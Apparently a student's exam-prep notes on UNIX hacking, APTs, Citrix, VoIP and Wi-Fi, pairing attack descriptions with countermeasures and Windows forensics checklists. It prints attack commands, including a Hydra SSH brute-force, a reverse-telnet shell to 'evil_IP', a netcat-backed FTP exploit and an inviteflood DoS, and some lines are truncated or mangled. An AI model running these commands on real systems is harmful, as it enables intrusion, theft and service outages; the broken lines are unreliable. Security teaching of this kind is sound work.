- **REMOTE ACCESS**: It involves access obtained through the network (e.g., a listening service) or access to another communications channel, such as a dial-in modem attached to a UNIX system. We are limiting our discussion to accessing a

UNIX system from the network via TCP/IP.

- 💣 `Brute-force Attacks`: The most basic form of UNIX attack are **brute-force password guessing**. A brute-force attack is nothing more than **guessing a user ID/password combination** on a service that attempts to authenticate the user before access is granted.
  Most passwords are guessed via an automated brute-force utility:

  ~~~
  - &#128295; ` THC Hydra`: example with SSH brute-force using two
    ```sh
    hydra -L users.txt -P password.txt 192.168.56.101 ssh
    ```
  - &#128295; ` Medusa`: is intended to be a speedy, massively par

  &#9940; ` Countermeasures`: The best defense against brute-force
  ~~~

- **Data-driven Attacks**: A data-driven attack is executed by sending data to an active service that causes unintended or undesirable results.
  - 💣 `Buffer Overflow Attacks`: A buffer overflow condition occurs when a user or process attempts to place more data into a buffer (or fixed array) than was previously allocated. This type of behavior is associated with specific C functions such as *strcpy()*, *strcat()*, and *sprintf()*, among others.
    A buffer overflow condition would normally cause a **segmentation violation** to occur. However, this type of behavior can be exploited to gain access to the target system.
    Example: What happens if attackers connect to sendmail daemon and send a block of data consisting of 1000 *'a'* to the VRFY command rather than a short username?

    ```
        echo vrfy ‘perl -e ‘print “a” x1000’’ | nc www.example.com 2
    ```

    The VRFY buffer is overrun because it was only designed to hold 128 bytes. Could cause a DoS and crash the daemon. However, it is even more dangerous to have the

target system execute code of your choosing.
This is exactly how a successful buffer overflow attack works. Instead of sending 1.000 letter a’s to the VRFY command, the attackers send specific code that overflows the buffer and executes the command `/bin/sh`. When the attack is executed, special assembly code known as the **egg** is sent to the VRFY command as part of the actual string used to overflow the buffer. When the VRFY buffer is overrun, attackers can set the return address of the offending function, which allows them to alter the flow of the program. Instead of the function returning to its proper memory location, the attacker execute the assembly code that was sent as part of the buffer overflow data (`run /bin/sh`).

- **I Want My Shell**: The primary goal of any attacker is to **gain command-line or shell access** to the target system (*telnet, rlogin, SSH* and so on). There are several techniques used to obtain shell access.
  - 💣 `Reverse Telnet and Back Channels`: We define back channel as a mechanism where the communication channel originates from the target system rather than from the attacking system. A few methods can be used to accomplish this task. In the first method, called **Reverse Telnet**, telnet is used to create a back channel from the target system to the attackers system.
    Because we are telnetting from the target system, we must enable `nc listeners` on our own system that will accept our reverse telnet connections:

    ```
    nc -lnvp 80
    nc -lnvp 25
    ```

    If a service is already listening, it must be killed via the `kill command` so nc can bind to each respective port.
    To initiate a reverse telnet, we must execute the following commands on the target server:

```
/bin/telnet evil_IP 80 | /bin/sh | /bin/telnet evil_IP 25
```

Telnet on port 80 connects to our nc listener on port 80. Standard output or keystrokes are piped into `/bin/sh`. Then the results of our command into another telnet on port 25.
`Countermeasures`: The best prevention is to keep your systems secure so a back-channel attack cannot be executed (disabling unnecessary services and applying vendor patches).

- **GAIN ROOT ACCESS**: Thus far, we have covered common remote access techniques. Most attackers strive to gain local access via some remote vulnerability. At the point where attackers have an interactive command shell, they are considered to be local on the system. Although it is possible to gain direct root access via a remote vulnerability, often attackers gain user access first. Thus, attackers must **escalate user privileges to gain root access**, better known as **privilege escalation**.
    - `Local Buffer Overflow`: Buffer overflow vulnerabilities allow attackers to execute arbitrary code or commands on a target system. In August 2011, ZadYree released a vulnerability related to a stack-based buffer overflow condition in the `RARLAb unrar 3.9.3` archive package, a Linux port of the popular `WinRar` archive utility. By persuading an unsuspecting user to open a specially crafted `rar` file, an attacker can trigger a local stack-based buffer overflow and execute arbitrary code on the system in the context of the user running the unrar application. When run, the exploit jumps to a specific address in memory, and `/bin/sh` is executed in the context of the application.
      `Countermeasures`: The best buffer overflow countermeasure is **secure coding practices** combined with a **non-executable stack**.
    - `Symlink`: Many SUID root programs are coded to create working files in `/tmp` or other directories without the slightest bit of sanity checking. A symbolic link is a mechanism where a file is created via the `ln` command. A symbolic link is nothing more than **a file that points to a different file**. Let's reinforce the point with a specific

example.
In 2009, it was discovered a symlink vulnerability in `xscreensaver 5.01` that can be used to view the contents of other files not owned by a user. Xscreensaver reads user configuration options from the `~/.xscreensaver` file. If the `.xscreensaver` file is a symlink to another file, then that other file is parsed and output to the screen when the user runs the xscreensaver program. Because OpenSolaris installs xscreensaver with the **setuid bit set**, the vulnerability allows us to read any file on the file system.

  - 💣 `Race Condition`: Attackers **take advantage of a program** or process **while it is performing a privileged operation**. Typically, this includes timing the attack to abuse the program or process after it enters a privileged mode but before it gives up its privileges. A vulnerability that allows attackers to abuse this window of opportunity is called a race condition.
    A race condition or race hazard is the behavior of an electronics, software, or other system where the system's substantive behavior is dependent on the sequence or timing of other uncontrollable events. It becomes a bug when one or more of the possible behaviors is undesirable. If the attackers successfully manage to compromise the file or process during its privileged state, it is called "winning the race".

Q: Describe UNIX permission system and the main attack vectors related to permission system.

A: File permissions are specified by 3 **access classes**: user, group and others:

- **User** class permissions apply to the **owner of the file**;
- **Group** class permissions apply to **users** who are part **of a specific group**;
- **Others** class permissions apply to **everyone else**.

For each access class three **access types** can be set:

- **Read** (*r*), defines if the given class can read the file;
- **Write** (*w*), defines if the given class can write the file;
- **Execute** (*x*), defines if the given class can execute the file.

Permissions are represented using a three-digit octal number, where each digit corresponds to a specific access class (user, group, others). Each digit is a sum of the permissions granted:

- **Read (r)** is represented by the bit `4`.
- **Write (w)** is represented by the bit `2`.
- **Execute (x)** is represented by the bit `1`.

Each file also has 3 **special modes**, valid for all classes:

- Set user id (**SUID**), represented by an additional `4` in the first octal digit;
- Set group id (**SGID**), represented by an additional `2` in the first octal digit;
- **Sticky**, represented by an additional `1` in the first octal digit.

For example, to set SUID and regular permissions of `rwxr-xr-x`, the octal representation would be `4755`.

When a file with SUID is executed, the process assumes the effective user ID of the owner of the file:

- Provides flexibility and allows for temporary elevation of privileges;
- `sudo`, `passwd` require SUID to work;
- Executing a SUID file owned by root spawns a process with EUID 0 (root).

Exploiting misconfigured SUID (Many SUID programs create temp files, stored in `/tmp`):

```
stat /tmp: Access: (1777/drwxrwxrwt)
strings /bin * | grep tmp
```

Q: Explain briefly what a buffer overflow attack is. Describe at least one buffer overflow technique that allows hackers gain remote access to a Unix system even when data execution prevention is enabled. Describe at least two countermeasures against standard overflow attack in Unix system.

A: **Buffer overflow** condition occurs when a user or process attempts to **place more data into a buffer** (or fixed array) **than was previously allocated**. This type of behavior is associated with specific C functions such as **strcpy()**, **strcat()**, and **sprintf()**, among others. A buffer overflow condition would normally cause a **segmentation violation** to occur. However, this type of behavior can be exploited to gain access to the target system.

Example: What happens if attackers connect to sendmail daemon and send a block of data consisting of 1k '*a*' to the VRFY command rather than a short username?

```
echo "vrfy 'perl -e 'print "a" x 1000""" | nc www.example.com 25
```

The VRFY buffer is overrun because it was only designed to hold 128 bytes. Could cause a DoS and crash the daemon. However, it is even more dangerous to have the target system execute code of your choosing. This is exactly how a successful buffer overflow attack works. Instead of sending 1.000 letter a's to the VRFY command, the attackers send specific code that overflows the buffer and executes the command `/bin/sh` (to gain root access).
When the attack is executed, special assembly code known as the **egg** is sent to the VRFY command as part of the actual string used to overflow the buffer. When the VRFY buffer is overrun, attackers can set the return address of the offending function, which allows them to alter the flow of the program. Instead of the function returning to its proper memory location, the attacker execute the assembly code that was sent as part of the buffer overflow data (`run /bin/sh`). Win!

⛔ `Countermeasures`:

- **Secure coding practices**:
    - Minimize buffer overflow conditions in your code;
    - Design the program from the outset with security in mind;
    - Enable the **Stack Smashing Protector (SSP)**, provided by the gcc compiler. It uses a canary value to identify stack overflows in an effort to help minimize the impact of buffer overflows;
    - Validate all user-modifiable inputs;
    - Use more secure routines (such as *strncpy()* and *strncat()*);
    - Reduce the amount of code that runs with root privileges. Even if a buffer overflow were executed, users would still have to escalate their privileges to root;
    - Apply all relevant security patches.
- **Test and Audit programs**;

- **Disable unused or dangerous services**;
- **Stack Execution Protection** (marks memory regions as non-executable, such that an attempt to execute machine code in these regions will cause an exception);
- **Address Space Layout Randomization (ASLR)**:
    - The basic premise of ASLR is the notion that most exploits require prior knowledge of the address space of the program being targeted. If a process address space is randomized each time a process is created, it will be difficult for an attacker to predetermine key addresses (the attacker will be forced to guess or brute-force key memory addresses).

💣 `Return-to-libc Attacks`: Return-to-libc is a way of **exploiting a buffer overflow on a UNIX system that has stack execution protection enabled**. With stack execution protection a standard buffer overflow will not work because injection of arbitrary code is prohibited. In this attack the attacker returns into the standard C library (libc), rather than returning to arbitrary code on the stack (bypass stack execution protection by calling existing code). Like a standard buffer overflow, a return-to-libc attack modifies the return address to point at a new location that the attacker controls to subvert the program's control flow (only use existing executable code from the running process).

⛔ `Countermeasures`: Possible mitigation strategies have included the removal of possible gadget sources during compilation, the detection of memory violations and the detection of function streams with frequent returns.

Q: How attackers use back channel to gain remote access to a Unix system? Describe an attack scenario and explain the possible commands that attackers use to create a back channel. Discuss the possible countermeasures.

A: 💣 `Reverse Telnet and Back Channels`: We define back channel as a mechanism where the communication channel originates from the target system rather than from the attacking system. A few methods can be used to accomplish this task.
In the first method, called **Reverse Telnet**, telnet is used to create a back channel from the target system to the attackers system. Because we are telnetting from the target system, we must enable `nc listeners` on our own system that will accept our reverse telnet connections:

```
nc -lnvp 80
nc -lnvp 25
```

If a service is already listening, it must be killed via the `kill command` so nc can bind to each respective port.

To initiate a reverse telnet, we must execute the following commands on the target server:

```
/bin/telnet evil_IP 80 | /bin/sh | /bin/telnet evil_IP 25
```

Telnet on port 80 connects to our nc listener on port 80. Standard output or keystrokes are piped into `/bin/sh`. Then the results of our command into another telnet on port 25.

⛔ `Countermeasures`: The best prevention is to keep your systems secure so a back-channel attack cannot be executed (disabling unnecessary services and applying vendor patches).

Q: Symlink. What are symlinks and how do they work? How can an attacker exploit symlinks (provide an example)? Provide at least one countermeasure.

A: Many SUID root programs are coded to create working files in `/tmp` or other directories without the slightest bit of sanity checking. A symbolic link is a mechanism where a file is created via the `ln` command. A symbolic link is nothing more than **a file that points to a different file**.
Let's reinforce the point with a specific example.

In 2009, it was discovered a symlink vulnerability in `xscreensaver 5.01` that can be used to view the contents of other files not owned by a user. Xscreensaver reads user configuration options from the `~/.xscreensaver` file. If the `.xscreensaver` file is a symlink to another file, then that other file is parsed and output to the screen when the user runs the xscreensaver program. Because OpenSolaris installs xscreensaver with the **setuid bit set**, the vulnerability allows us to read any file on the file system.

⛔ `Countermeasures`: Secure coding practices are the best countermeasure available. Unfortunately, many programs are coded without performing sanity checks on existing files. Programmers should check to see if a file exists before trying to create one, by using the

`O_EXCL | O_CREAT` flags. When creating temporary files, set the UMASK and then use the `tmpfile()` or `mktemp()` function.

Q: Briefly describe at least two main services in Unix system that are often remotely attacked. For each of this services, explain how the remote attack occurs and discuss the possible countermeasure.

A: **Main services** (common types of remote attacks):

- 💣 `FTP`: FTP is often abused to gain access to remote systems or to store illegal files. Many FTP servers allow anonymous access, enabling any user to log into the FTP server without authentication. Thus, attackers can begin to pull down sensitive configuration files such as `/etc/passwd`.
  FTP servers have long been associated with security problems related to buffer overflow conditions and other insecurities. One of the most recent FTP vulnerabilities has been discovered in **FreeBSD daemons**. The exploit creates a shell on a local port specified by the attacker:
  We first need to create a netcat listener for the exploit to call back to:

  ```
  nc -vlp 443
  ```

  Now we can run the exploit:

  ```
  perl roaringbeast.pl 0 ftp ftp 192.168.1.25 443
  ```

- 💣 `Sendmail`: Sendmail is a **Mail Transfer Agent (MTA)** that is used on many UNIX systems. Sendmail is one of the most maligned programs in use (used to gain access to thousands of systems). We can use `VRFY` and `EXPN` commands to identify user accounts.
  Many vulnerabilities are present related to remote buffer overflow conditions and input validation attacks have been identified.
  ⛔ `Countermeasures`: The best defense for sendmail attacks is to **disable sendmail** if you are not using it to receive mail over a network. If you must run sendmail, ensure that you are **using the latest version** with all relevant security patches. Finally, consider using a more secure MTA such as **qmail** or **postfix**.

- 💣 `DNS Cache Poisoning`: DNS cache poisoning, also known as DNS spoofing, is an attack where hackers manipulate the DNS cache of a server to **trick clients into contacting a malicious server instead of the intended legitimate system.** This results in all requests being resolved and redirected to a system controlled by the attacker. Numerous security and availability issues have been associated with `BIND` (the most widely used DNS server software on the internet).
  The first step is to enumerate vulnerable servers. Most attackers set up automated tools to identify unpatched and misconfigured DNS servers quickly.
  In 2008, Dan Kaminsky highlighted a severe DNS cache poisoning vulnerability that made headlines. This attack exposed how DNS systems could be tricked into accepting fraudulent DNS records, allowing attackers to redirect traffic on a massive scale.
  To check if the DNS has this potential vulnerability perform the following enumeration:

  ```
  dig @192.168.56.101 version.bind chaos txt
  ```

  This command queries the `version.bind` field in the BIND server's configuration to identify its version and assess whether it may be exposed to known vulnerabilities.
  ⛔ `Countermeasures`: For any system that is not being used as a DNS server, you should **disable and remove BIND**. Ensure the version of BIND you are using is current and patched for related security flaws.

Q: What are shared libraries in Unix? Describe the general advantages of shared libraries, and the possible Cybersecurity issues that they introduce. Assume that a root program called `program1`, which uses a shared library `libshared.so`, is executed every time at system startup. If `libshared.so` is not present in the system, under which conditions can you exploit this to run arbitrary code with root privileges? How would you do it?

A: A shared library is a **shared collection of subroutines** that can be recalled from multiple programs. This has the advantage of saving memory and making it easier to maintain code, because updating shared libraries means updating the programs that use them. But it also means that if an attacker manages to modify a shared library or provide an alternative to the program via the environment variable, he/she can then get root access.

Shared libraries are mainly found in:

- Any directory specified by the `-rpath` options;
- `LD_LIBRARY_PATH` environment variable;
- `/lib` and `/usr/lib`;
- Directories listed in `/etc/ld.so.conf`.

On startup all the processes are executed with high privileges, if the `libshared.so` doesn't exist we could create a symbolic link called `libshared.so` pointing to an important file, like `/etc/shadow` or inserting arbitrary code inside this file.

Ch. 6: Cybercrime and Advanced Persistent Threats (APT)

Q: What is an APT?

A: An **Advanced Persistent Threat (APT)** is a stealthy computer network attack in which a person or group gains unauthorized access to a network and remains undetected for an extended period.
The term describes three aspects of attackers that represent their profile, intent, and structure:

- **Advanced**: The attacker is fluent with cyber-intrusion methods and administrative techniques and is **capable of crafting custom exploits and tools**;
- **Persistent**: The attacker has a **long-term objective** without being detected;
- **Threat**: The attacker is **organized, funded and motivated**.

At a high level, APTs can be categorized into two groups according to the attackers objectives:

- The first group focuses on **criminal activities that target personal identity and/or financial information** and, coincidentally, information from corporations that can be used in a similar manner to commit identity and financial fraud or theft;
- The second group focuses on **helping industries or state-sponsored**

intelligence services. Their activities target private information, like intellectual property and trade secrets, to create competing products or develop strategies to challenge the organizations they steal from.

Q: An ongoing APT attack has compromise one of the Windows server. With this assumption, how do you plan and implement the forensics activities for the analysis of this host? In particular describe the order in which the evidence should be collected and the forensics methodology, the tools, the command lines etc. to be used to analyze suspicious host.

A: **Malware**, both those used in APTs and “normal” ones, do whatever it takes to survive a reboot; for this purpose they resort to various mechanisms, including the following:

- The use of **different `Run` registry keys**;
- The **creation of a service**;
- Connecting to an existing service;
- The use of a **scheduled operation**;
- The **camouflage of communications** within valid traffic;
- **Overwriting** of the **Master Boot Record** (boot sector);
- **Overwriting** the computer's **BIOS**.

To analyze a suspicious system, **investigators use a mix of computer forensic techniques and incident response procedures**. The correct way to carry out an incident response is to **use the** so-called **“volatility” order**. This RFC analyzes the order in which it is appropriate to collect the tests, based on the perishability of the supports that contain them:

1. Memory;
2. Paging file or swap partition;
3. Information on running processes;
4. Network data such as listening ports or active connections to other systems;
5. Registry (if applicable);
6. System or application log files;
7. Disc images extracted with computer forensic tools;
8. Backup archives.

To analyze a compromised machine, you have to put together several **tools**. In the investigation it is important to try to contaminate the evidence as little as possible. Recovery tools should also be copied to a CD or DVD and an external storage device. The toolkit used by the investigators in this case included a mix of **Sysinternals tools and computer forensic consultancy** like:

- AccessData FTK Imager;
- Sysinternals tools;
- Volatility Framework Tool;
- WinMerge;
- Currports;
- `strings` command;
- `netstat` command.

Q: The Administrator account of a Windows server has been compromised. Host software cannot be re-installed for business reasons. With these assumptions, how do you plan and implement post-exploit activities for the host recovery. In particular, list the areas of the system on which to intervene, to restore the hosts security. Discuss in detail at least one of these areas of intervention, listing the activities to be carried out, the tools, the line commands to be used, etc.

A: The general advice is to cover four main areas touched in one way or another by the processes that compromised the system: filenames, Registry keys, processes, and ports.

- ⛔ **Filenames**: Any halfway intelligent intruder renames files or takes other measures to hide them, but **looking for files with suspect names** may catch some of the less creative intruders on your systems.
  Another common technique is to copy the Windows command shell (`cmd.exe`) to various places on disk using different names (look for `root.exe`, `sensepost.exe` and other similarly filenames). Also pay attention to files that live in the various Start Menu `\PROGRAMS\STARTUP\%username%` directories under `%SYSTEMROOT%\PROFILES` (anything in these folders launches at boot time). Use anti-

malware software for detection and prevention.

- ⛔ **Registry entries**: search for **unauthorized registry values** can be quite effective, because most of the applications we discussed expect to see specific values in specific locations. Start looking is `HKLM\SOFTWARE` and `HKEY USERS\.DEFAULT\Software` where most installed applications reside in the Windows Registry.
  Using the command-line `reg.exe` tool deleting these keys is easy, even on a remote system. The syntax is:

  ```
  reg delete [value] \\machine
  ```

  Here's an example:

  ```
  reg delete HKEY USERS\.DEFAULT\Software\ORL\WinVNC3 \\192.168.202.33
  ```

  Check the standard Windows startup keys because attackers almost always place necessary values under this registry. Attacker can have a perpetual backdoor into this system until the administrator gets wise and manually removes the Registry value.
- ⛔ **Processes**: For those executable tools that cannot be renamed or otherwise repackaged, regular **analysis of the Process List** can be useful. Typically a malicious process is engaged in some activity so it should appear near the top of the list (after ordering for CPU usage). We can kill processes from the GUI or using the command-line `taskkill` utility (the PID of the rogue process must be gleaned first).
- ⛔ **Ports**: Periodically checking `netstat` for such rogue connections is sometimes the best way to find a listener or a malicious software. We can run `nestat -an` on our target server to find out the listening and established connection on the server.

Q: Describe the six main steps that constitute an APT attack and indicate for each one the artifacts/traces that are usually left into the victim system. When detecting an APT attack, the tools used by the administrators may be compromised so as the return false information. Describe at least 8 of the 22 recommended checks.

A: **Steps**:

1. **Targeting**: Information on the target is collected from public or private sources and ways to gain access are tested. It could include vulnerabilities scanning, spear phishing, and social engineering.
2. **Access/compromise**: The attacker gains access and determines methods to exploit system information (OS and version). It includes making sure of the host's identifying data such as DNS IPs, NetBios shares etc., or even collecting credentials to facilitate further compromises.
3. **Reconnaissance**: Attackers enumerate network shares, discover network architecture, name services, domain controllers, and even attempt to compromise Active Directory accounts or local administrative accounts with shared domain privileges. Being already in the system, they often try to disable the antivirus and the system logging before exploiting.
4. **Lateral movement**: Once the hackers have determined how to traverse the various systems with valid credentials and have identified the targets, they will conduct lateral movements across the network to other hosts. This activity does not use malware or tools other than those already present in the compromised host's OS such as the command shell, NetBIOS commands, Windows Terminal Services, VNC etc.
5. **Data collection and exfiltration**: Attackers establish data collection points and exfiltrate them from proxied networks or use custom encryption techniques to cover exit data files and exfiltration communications.
6. **Administration and maintenance**: To maintain access over time, you need administration and maintenance of tools and credentials, therefore it is necessary to establish multiple methods of accessing the network remotely and to put triggers that alert attackers of changes, so that can carry out maintenance actions.

Recommended checks:

1. Check **%temp%** (`c:\documents and settings\<user>\local settings\temp`) for *.exe*, *.bat*, *.z* files.
2. Check **%application data%** (`c:\documents and settings\<user>\applicationdata`) for .exe, .bat, *.z* files.
3. Check **%system%** (`c:\windows\system32`) for *.dll*, *.sys*, and *.exe* files not in the installation (`i386/winsxs/dllcache`) directory or with a different date/size.
4. Check **%system%** (`c:\windows\system32`) for *.dll*, *.sys*, and *.exe* files with anomalous creation dates.
5. Check `c:\windows\system32\etc\drivers\hosts` file for sizes greater than 734 bytes (standard).
6. Check `c:\` for *.exe* and **.z** files.
7. Search for `.rdp` (connected from) and `.bmc` (connected to) history files by date/user profile.
8. Search for **.lnk* and **.pf* files by date/user profile.
9. Search `c:\Recycler\` folders for **.exe*, **.bat*, **.dll*, etc.
10. Compare results to network activities by date/time.
11. Grep out `FQDN` and `IP` to a file.
12. Compare results to blacklist or lookup anomalies.
13. Check for any keys with `%temp%` or `%application data%` paths.
14. Check for anomalous keys in `%system%` or `%program files%` paths.
15. Check for `ESTABLISHED` or `LISTENING` connections to external Ips.
16. Document PIDs to compare to tasks list results.
17. Search for PID from netstat output and check for anomalous service names.
18. Check for anomalous **.exe* and **.dll* files.
19. Check for anomalous scheduled (or at) jobs.
20. Check anomalous jobs for path and **.exe*.
21. Check for anomalous service names.
22. Check for anomalous service DLL paths or mismatched service names. If you run these commands on all hosts in a network and parse/load the results into a SQL database, you can perform an efficient analysis. An additional benefit is the provisioning of an enterprise “baseline” for later differential analysis when required.

Q: Following a successful APT attack, in the phase of the forensic analysis which focuses on the filesystem of a Windows System, which interesting files should be collected to analyze the attacker activities? List at least three files. Registry keys and page/swap/hibernations files will not be considered valid answers. For each of the files you listed, describe its default location, the information it contains, and which tools should be used for its analysis.

Q: Describe APT in the context of Unix systems. In particular, describe Trojan, sniffers, log cleaning and kernel rootkits, and briefly discuss some countermeasures for each of these points.

Ch. 7: Remote Connectivity and VoIP Hacking

Q: Citrix vulnerabilities

A: **Citrix** is a popular client-to-site VPN solution used to provide remote access to desktops, applications, and other resources. One of Citrix's popular products is the **Citrix Access Gateway**, which acts as a secure gateway, giving administrators control over which applications and resources users can access remotely. This makes it a popular choice for companies that need to provide employees with remote access to their work environment.
As is often the case with robust products designed for security, vulnerabilities are based on implementation or misconfigurations rather than product vulnerabilities, and Citrix Access Gateway has very common implementation errors; the most common types of Citrix implementation are:

- A **remote desktop**, typically Windows;
- **Commercial off-the-shelf (COTS) Application**;
- **Custom application**.

Why and how are these applications used? When companies offer a **remote desktop** environment, they essentially provide users with a virtual desktop that includes all the features of a local computer. This setup is similar to using a VPN, but it provides a complete desktop experience. However, simply restricting user access to certain desktop features (like removing options from the start menu or disabling right-click functionality) isn't always enough to secure the environment. A **layered security approach** is essential to deter attackers.

In the case of a **COTS** software, Citrix allows companies to reduce costs by providing remote access to common, pre-packaged applications, such as Microsoft Office, Internet Explorer, or other software. This allows companies to offer specific applications without exposing the entire desktop, which can help reduce security risks.

In the case of a **custom application**, Citrix is used because a company's applications have access to sensitive data and need to be accessed from within the network, and since security is often overlooked, solutions such as Citrix are used.

Others organizations could use Citrix to “secure” their vulnerable applications that would normally be accessible from the internet, but in doing so they introduce new vulnerabilities. This is why it’s important to test all these applications, since in addition to exploit applications intended as published for the user, an attacker can exploit applications not intended as published for the user; examples are Windows Firewall, Network icons or Symantec Antivirus which can lead to shell access.

The important concept is that processes spawned by another process in a remote Citrix context run in a remote environment under the context of an authenticated Citrix user (so the shell would run on the remote host).

To attack, you start by gaining access to Windows Explorer or `cmd.exe` or `PowerShell`. Here are the common ways of attacking published applications:

- Guide
- Microsoft Office
- Internet Explorer
- Microsoft Games and Calculator
- Task Manager
- Printers
- Hyperlinks

- Internet Access
- EULAs/Text editors
- Save as/file system access

⛔ `Countermeasures` for Citrix Hacking: The location of the Citrix system in the network is essential for the security of the company, because it will be the location that the attacker will obtain once he/she has obtained a shell (once he/she has entered the shell he/she can enter the internal network of the Citrix server).

Avoid the internal network or servers network, put it rather isolated in an untrusted network. Many of the problems described can be solved with very strict application and URL whitelisting.

To be truly safe, **redesign the Citrix environment** to minimize access to only what is absolutely necessary for the end users. Access in these systems is protected by a username and password (single factor), not appropriate for something accessed from outside the company and therefore requiring multi-factor authentication.

If you have more than five users in your Citrix environment, or if you don't know all of them personally, or if you don't want to leave them with a shell on the network then you need to evaluate the system well. In conclusion, hire experienced people and/or conduct your own assessments and then move on.

Q: What is a VoIP; Footprinting, scanning, Wardialers and Enumeration.

Q: VoIP Attacks. Describe VoIP Enumeration, Denial of Service and other attacks against VoIP. Which tools are used? Write console commands. Which countermeasures?

Q: Describe at least three attacks to a VoIP network. Include in your description at least the activities to carry out, the tools, and the command line to be used. What are the possible countermeasures for each of these attacks? For example, one of the possible VoIP attack is the enumeration of VoIP users (no discuss this in the answer).

A: VoIP is a general term used for describing the **voice transportation on top of an IP network**. VoIP is based on more than one protocol: at least one for the signaling and one for the voice encrypted traffic and the two most common ones are **H.323** and **SIP (Session Initiation Protocol)**. SIP operates on port TCP/UDP 5060 and implements various methods and response codes (*similar to HTTP: 1xx for information, 2xx for success, 3xx for redirection, 4xx for client failure…*).

VoIP configurations are exposed to a large number of attacks since they require to expose numerous protocol interfaces to the end user, because the quality of service on the network is fundamental for the quality of the system.

VoIP attacks:

- 💣 `SIP Scanning`: Before attacking we must scan, in this case SIP devices, to identify what is available. To do this we can use the **SiVuS** tool for Windows and Linux (with GUI) or the **SIPVicious** command line tool written in python.
    - 🔧 `svmap.py` tool within the SIPVicious suite is a SIP scanner meant for identifying SIP systems within a provided network range:

      ```
      svmap.py 10.219.1.10-30
      ```

⛔ `Countermeasures`: The segmentation of the network between the VoIP network and the user access segment can prevent direct attacks against SIP systems, but once access is obtained, there are no countermeasures.

- 💣 `Pillaging TFTP for VoIP treasures`: During boot, many **SIP phones** rely on a TFTP server to retrieve their configuration settings (with usernames and passwords); TFTP uses security by obscurity, so to download a file you just need to know the filename, so just find the TFTP server on the network (`nmap -sU -p 69 192.168.1.1/24`) and try to guess the name of the configuration file.
  They differ between vendors and devices so use a common name *txt*. The TFTP server address, MAC address and network settings for a phone can be obtained by sniffing/scanning the network and viewing the web server on an IP phone or by physically going there and looking at the network settings in the options menu. These configuration files contain a lot of useful informations, such as username and password for administrative functions.
  ⛔ `Countermeasures` for Pillaging TFTP: Implement access restrictions on the network layer. Configure the TFTP server to accept connections only from known static IPs assigned to VoIP phones, mitigating the risk of attack, even if this is bypassed by spoofing the phone's IP address control. Configure these VoIP systems to prevent information leakage:
    - disable access to the settings menu on devices;
    - disable web server on IP phones;
    - use signed configuration files to prevent manipulation.
- 💣 `Enumerating Voip users`: In the telephone word, a person can be accountable for his or her extension or phone number. Extensions are 4-6 digit values used as one half of the authentication credentials, the other half being a 4-6 digit PIN. VoIP extensions can be enumerated by observing the response of a server. Since SIP is a human readable request/response-based protocol, it is trivial to analyze traffic and interact with the server. SIP gateways follow the same basic specifications but are written differently. Let's see the open source SIP gateways:
    - **Asterisk REGISTER User Enumeration**: When the client makes a `REGISTER` request to the Gateway using a valid username without authenticating, the server responds with a `SIP/2.0 401 Unauthorized`. When the user responds correctly to the digest authentication request, he receives a `200 OK` success message and is registered by the

gateway.
In addition, the User-Agent field in the response tells the type of server running on the SIP gateway. When there is a `REGISTER` request for an invalid user, the server responds `SIP/2.0 403 Forbidden`.
IMPORTANT difference because if the server behavior changes between valid/invalid request **probe the server for guessed usernames** and then build a list of valid guesses identified by the server response (user enumeration).
    - **SIP EXpress Router OPTIONS User Enumeration**: A client makes an `OPTIONS` request to a SIP EXpress Router server with a valid user and there is a `200 OK`, but this time the User-Agent provides us with the type of phone with which the user has registered. When the client sends a request for an invalid user the server responds with `SIP/2.0 404 Not Found` (giving us the information that the user does not exist).
- 💣 `SIP invite flood (DOS)`: The simplest, anonymous and effective attack. It can be done on the infrastructure by sending a lot of fake call setups signalin (`SIP INVITE`) traffic, or even on a phone just flooding it with unwanted traffic. Both with the invite flood tool that floods `SIP INVITE` consuming resources and makes it ring continuously in the case of 1 phone.
  Just specify interface, extension, domain, target and count:
  ```
  ./inviteflood eth0 1000 192.168.1.1 192.168.1.1 1000000
  ```
  ⛔ `Countermeasures` for SIP invite flood: Segment the network between voice and data VLANs, then make sure authentication and encryption are enabled for all SIP communications on the network, and place IDS/IPS to detect and stop attacks.

Ch. 8: Wireless Hacking

Background

Wi-Fi, technically known as **802.11**, is a wireless communication standard developed by the IEEE. The "802" refers to a group of standards that cover

all types of local area networks (LANs), while the ".11" specifically
applies to wireless LANs. Whenever updates or changes are made to this
standard, they are reflected by adding a letter to the end of its name.
For example, common updates include **802.11a**, **802.11b**, and **802.11g**.
The 802.11 standard defines how communication works at both the physical layer and the data link layer in the OSI model.

📡 Frequencies and Channels

The radio spectrum is regulated by governments, and specific parts are reserved for general use,
known as **industrial, scientific, and medical (ISM) bands**.
Wi-Fi (802.11) operates in the 2.4-GHz or 5-GHz ISM bands:

- **802.11a** devices use the **5-GHz** band;
- **802.11b/g** devices use the **2.4-GHz** band;
- **802.11n** devices can operate in either band but require specification of the band they support;
- Devices that support both bands are called **dual-band devices**.

To manage the spectrum efficiently, 802.11 divides it into channels:

- In the **2.4-GHz band**, channels are numbered from 1 to 14, but neighboring channels
  overlap and can cause interference. However, channels 1, 6, and 11 are spaced far enough apart
  to avoid overlap, making them the best choice for reducing interference.
- In the **5-GHz band**, channels (numbered 36–165 in the U.S.) are all nonoverlapping.

Channel availability and restrictions vary by country.
For single access point (AP) setups, the AP and connected devices communicate on a single channel.
Overlapping channels in the 2.4-GHz band can cause interference, unlike the 5-GHz band where
this issue is avoided.

📶 Session Estabilishment

Wireless networks can operate in two main modes:

- **Infrastructure networks**: Require an access point (AP) to relay communication between
  clients and bridge wireless and wired networks.
- **Ad hoc networks**: Allow direct peer-to-peer communication without an access point.

This discussion focuses primarily on infrastructure networks, though many principles also apply
to ad hoc networks.

Before communication begins, a client must establish a session with the access point serving the wireless network. This is done in three steps:

1. **Probe Request**:
   This process is for the client to identify if the wireless network is present.
   Traditionally, the client sends a broadcast message (probe request) looking for a specific network,
   identified by its **Service Set Identifier (SSID)**. The client scans all available channels,
   sends probe requests, and waits for responses (probe responses) from nearby access points. The client
   does this continuously until it finds the wireless network it's configured for. Modern systems,
   like Windows Vista and newer, modify this process for security using **beacon frames**, as discussed later.
2. **Authentication**:
   After finding the access point, the client initiates authentication. In the 802.11 session
   establishment process, this step is completely unrelated to the more advanced mechanisms that come
   later if the network is configured to use something like WPA.
   - Open Authentication: The access point may be configured to allow any client to connect.

    - Shared Key Authentication: (Used with WEP-encrypted networks) The client must respond to a
      challenge from the AP. However, this method is almost obsolete.

  > **Note**: Open authentication with encryption means the AP accepts any client but disconnects
  > those sending unencrypted or incorrectly encrypted data frames.

3. **Association**:
   The final step is association, where the client and access point formally record their connection:
    - The client sends an association request.
    - The AP replies with an association response, officially tracking the client.

